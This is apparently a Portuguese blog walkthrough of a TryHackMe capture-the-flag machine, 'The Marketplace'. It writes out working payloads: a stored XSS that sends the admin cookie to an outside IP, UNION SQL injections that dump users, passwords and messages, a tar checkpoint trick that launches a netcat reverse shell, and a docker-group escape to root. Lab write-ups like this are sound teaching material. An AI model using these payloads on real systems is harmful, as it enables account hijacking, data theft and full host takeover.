Post

The Marketplace Writeup tryhackme

A máquina marketplace é focada em exploração web na parte inicial(XSS stored e SQLi) e na parte de escalação de privilégio usaremos o docker.

Varredura de Portas

Ao usarmos o nmap para identificar quais portas estão abertas e que serviços estão rondando nelas temos a seguinte saída:

nmap

Temos 3 portas abertas, mas no momento vamos nos ater a apenas 2, a 80 e a 32768, que parecem ter o mesmo conteúdo.

Exploração Web

Ao acessarmos a aplicação web que está rodando na porta 80 vemos algo parecido como uma loja.

Web page

Temos a opção de logar e de criar uma conta, ao tentar bypassar o login com sql injection não tive sucesso, então decidi me cadastrar.

Ao cadastrar e logar com minha conta temos mais uma alternativa de local, alem da home, Log in e sing up.

menu

Ao clicarmos em New listing, temos alguns campos para escrever para podermos criar um novo anúncio de produto.

New listing

Tentei primeiramente fazer upload de uma shell, mas não consegui, então parti para aproxima alternativa mais provável, xss.

O título não parecia ser vulnerável, mas depois de alguma tentativas consegui o xss na descrição.

o padrão <scritpt>alert(0)</script> estava sendo bloqueado, mas ao procurar rapidamente no google por “xss WAF bypass” consegui encontrar um que funcionou:

1
<img src=xss onerror=alert(0);>

Ao entrar na página do produto criado aparece um pop-up com a mensagem “0”, parece que conseguimos um xss stored :)

Agora precisamos conseguir acesso admin como esse xss, então temos que pegar o cookie do admin.

Ao procurar no google por “xss get cookie” encontramos um artigo com o payload e com o script do server que precisamos para conseguir o cookie do admin.

após algumas modificações o script do server ficou assim:

code

E o payload que colocamos na descrição ficou assim:

1
2
3

<img src=xss onerror=document.location="http://10.9.3.121:5000/?c="+document.cookie;>

Ao entrarmos na publicação do nosso “produto” conseguimos pegar o nosso próprio cookie, show, agora só precisamos mandar isso para o admin :)

request

Após algum tempo procurando como mandar isso para o admin, vi que na postagem havia um campo link chamado “Report listing to admins” e ao clicar somos direcionados para a página de report:

Report

Vemos no link que estamos na página de report da segunda publicação, mas a nossa é a terceira, então mudamos para

1
http://10.10.88.201/report/3

E clicamos em report, ao olharmos nosso terminal veremos que recebemos o cookie do admin:

Cookie

Para facilitar minha vida, eu coloquei o burp para sempre substituir o valor do meu cookie pelo do admin, para isso vamos em “proxy -> options” e depois descemos até “Match and Replace” e apertamos em “add”, após configurar tudo, ficou assim:

Burp

Ao darmos um refresh na página, podemos ver que conseguimos acessar o “Administration Painel”, ao entrarmos nele temos a primeira flag:

Img9

Ao clicarmos em um dos “user” encontramos a seguinte url:

1
http://10.10.88.201/admin?user=1

E ao tentar diversas maneiras de sql injection consegui usando o “UNION”

o paylaod para conseguir os nomes das tabelas ficou assim:

1
12 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema = database()

E recebemos a resposta:

Img10

Para vermos os usuários e as senhas temos o payload ficou assim:

1
12 union select 1,group_concat(username,password),3,4 from users

Recebemos essa resposta:

Img11

Ao tentar quebrar as senhas não obtemos nenhum resultado :(

Mas depois de um tempo, ao ver a tabela “messages” conseguimos o password do user “jack” e conseguimos logar no ssh.

1
12 union select 1,group_concat(message_content),3,4 from messages

Img12

Conseguindo acesso como michael

Img13

Ao usarmos o comando “sudo -l” temos a seguinte saída:

Img14

Hmmm, então conseguimos executar um script como micahel, mas vamos ver que código que tem nele:

Img15

Opa! Ele está executando o tar para criar um arquivo .tar, então vamos me lembrei que há uma escalação de privilégio com o tar e podemos usar.

Primeiro vamos para a pasta do arquivo:

1
cd /opt/backups

Depois executaremos os seguintes comandos:

1
2
3
4
5
chmod o+wx backup.tar
echo "mkfifo /tmp/lhennp; nc 10.9.3.121 1234 0</tmp/lhennp | /bin/sh >/tmp/lhennp 2>&1; rm /tmp/lhennp" > shell.sh
echo "" > "--checkpoint-action=exec=sh shell.sh"
echo "" > --checkpoint=1
sudo -u michael /opt/backups/backup.sh

E ao olharmos nosso terminal que está escutando com o netcat recebemos a shell:

Img16

para melhorar nossa shell executaremos:

1
python -c 'import pty;pty.spawn("/bin/bash")'

Escalação de privilégio

Na imagem a cima vemos que michael pertence ao grupo docker, então procurando no google achei um artigo sobre escalação de privilégio com o usuário no grupo docker

Ao executarmos esse comando:

1
docker run -it -v /:/mnt alpine chroot /mnt

Caímos com shell root:

Img17


Obrigado por terem lido, espero ter ajudado a resolverem a máquina e ensinado algo novo ❤.

This post is licensed under CC BY 4.0 by the author.